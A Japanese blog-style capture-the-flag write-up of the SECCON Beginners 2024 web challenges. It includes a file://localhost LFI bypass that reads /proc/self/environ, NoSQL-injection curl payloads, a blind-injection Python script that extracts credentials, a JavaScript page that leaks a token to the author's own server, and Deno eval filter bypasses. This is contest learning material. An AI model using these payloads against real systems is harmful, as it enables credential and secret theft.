📚

SECCON Beginner Contest 2024 web writeup

2024/06/23に公開

参加してきました。大会概要

SECCON Beginner Contest 2019 ぶりの参加だったし、そもそも5年前もちょっと触ったことがある程度でした。知り合いのアスースン・オンラインに誘われたので、ちょっと触ってみるかくらいで参加しました。

web/wooorker(78点)

https://wooorker.beginners.seccon.games/report の入力に、login?next={任意のアドレス}を入力すると、クローラーからGET /?token={トークン}みたいなリクエストされる。

5年前の反省を生かしてRequestBinを使おうとしたものの、うまくいかず、結局EC2でpythonのhttp.serverのサーバーを立てて、そこにリクエストをとばした。(これが後に功をなす)

https://wooorker.beginners.seccon.games/flag.html?token={トークン} でフラグゲット

web/ssrforlfi(113点)

/?url=http://example.com/のようなhttp://のURLか、/?url=file://example.txtのようなfile://のURLを受け取ると、curlでその内容を取得し、それを返却するサイト。

ただし、例えばfile:///etc/passwdを利用すると、/etc/passwdと一致するファイルが存在する場合、Detected LFI ;(というエラーが返ってくる。調べてみたところ、file://localhost/etc/passwdで回避することができることがわかった。

あとは、環境変数にフラグが存在しているはずなので、チートシートを使いながら怪しそうなファイルを探し回ったところ、/?url=file://localhost/proc/self/environでヒットした。

web/double-leaks(130点)

POSTのusernameやpassword_hashの値にJSONを利用することが可能で、これを利用してmongoのoperationを利用することができる。ただし、password_hashの方はwafでinwhereregexなどの単語が利用不可になっている。

クエリで結果が返ってきた場合でも、operationを利用した場合は、{"message":"DO NOT CHEATING"}とエラーが返されるので、直接クエリ結果を見ることができない。ただし、クエリで結果が返ってこない場合は{"message":"Invalid Credential"}と返却されるため、クエリの結果を満たすドキュメントが存在するかは確認可能でした。

usernameはエスケープされないので、$regex を利用してBlind Injectionが可能。

以下は、ユーザー名がabで開始している場合は{"message":"DO NOT CHEATING"}、そうでない場合は、{"message":"Invalid Credential"}と返却される。

curl -X POST 'http://https://double-leaks.beginners.seccon.games/login' -H 'Content-Type: application/json' --data-raw '{"username": {"$regex": "^ab" },"password_hash": {"$ne": "a" }}'

passwordはエスケープされるが、SHA256された値(16進数)を利用するため、$gteを利用して辞書順で後にあるか前にあるかを判断可能。

以下は、password_hashが辞書順で5より後の場合は{"message":"DO NOT CHEATING"}、そうでない場合は、{"message":"Invalid Credential"}と返却される。

curl -X POST 'http://https://double-leaks.beginners.seccon.games/login' -H 'Content-Type: application/json' --data-raw '{"username": "username" ,"password_hash": {"$gte": "5" }}'

以上までまとめた内容をChatGPTに読み込ませたところ、プログラムを書いてくれたので(若干修正して)実行した。

double_leak_solver.py
import requests
import hashlib

# ターゲットURL
url = 'https://double-leaks.beginners.seccon.games/login'

# usernameを特定するための関数
def is_username_starts_with(prefix):
    payload = {
        "username": {"$regex": f"^{prefix}"},
        "password_hash": {"$ne": "a"}
    }
    response = requests.post(url, json=payload)
    return response.json().get("message") == "DO NOT CHEATING"

# password_hashを特定するための関数
def is_password_hash_greater_than(prefix, hash_str):
    payload = {
        "username": prefix,
        "password_hash": {"$gte": hash_str}
    }
    response = requests.post(url, json=payload)
    return response.json().get("message") == "DO NOT CHEATING"

# usernameの特定
def find_username():
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789'
    username = 'ky'
    while True:
        for char in charset:
            if is_username_starts_with(username + char):
                username += char
                print(f"Found so far: {username}")
                break
        else:
            break
    return username

# password_hashの特定
def find_password_hash(username):
    password_hash = ''
    charset = 'fedcba9876543210'
    for _ in range(64):  # SHA256は64文字
        for char in charset:
            if is_password_hash_greater_than(username, password_hash + char):
                password_hash += char
                print(f"Found so far: {password_hash}")
                break
    return password_hash

# 実行
username = find_username()
print(f"Username: {username}")

password_hash = find_password_hash(username)
print(f"Password hash: {password_hash}")

web/woooker2 (98点)

内容はほぼwoookerと同じだが、woooker2ではトークンがhttp://example.com/#token={トークン}の形式で送られてくる。httpのリクエストURLにはハッシュ以降は含まれないため、woookerのようにリクエストを読むだけでは不十分。

クローラーが指定したページを読み込んだ時に実行されるjavascriptの中でlocation.hashを利用する。woookerで立ち上げたサーバーが次を提供するようにする。

index.html
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
</head>
<body>
    <script>
        const hash = location.hash;
        window.location.href = hash.slice(1)
    </script>
</body>
</html>

すると、トークンをURLに含めた状態でリダイレクトされるので、トークンを取得できる。再びhttps://wooorker.beginners.seccon.games/flag.html?token={トークン} でフラグゲット

感想

時間があまりなくてwebしか触れなかったが、思ったより解けたなって印象でした。久しぶりで超たのしかったのでまたやりたいです。

追記: web/flagAlias

勉強のため解きました。

deno(rust版のnodeクローン)のeval関数を使って、flag.tsの中身を知るという問題。ただし、いくつかの単語がwafで利用不可になっている。

flagを評価できれば、importされた値を見ることができるが、wafで防がれる。eval("f" + "lag")evalが使用不可、Function("return f" + "lag")flagが読み込めない。したがって、ファイルでimportされたflagを読み取ることはできない。

await eval(waf(alias))となっていることを利用して、dynamic import してみたところ、うまくいった。Object.keysは利用できないがObject === ({})["constructor"]なので、回避可能。したがって、以下のように関数名を取得できる。

(async () => {return ({})["constructor"].keys(await import("./f" + "lag.ts"))})()

取得した関数を以下のように評価すると...

(async () => {return (await import("./f" + "lag.ts")).getRealFlag_yUC2BwCtXEkg()})()

fake{The flag is commented one line above here!}と返ってくるので、

(async () => {return (await import("./f" + "lag.ts")).getRealFlag_yUC2BwCtXEkg.toString()})()

これでコメントを読んでフラグ取得

Discussion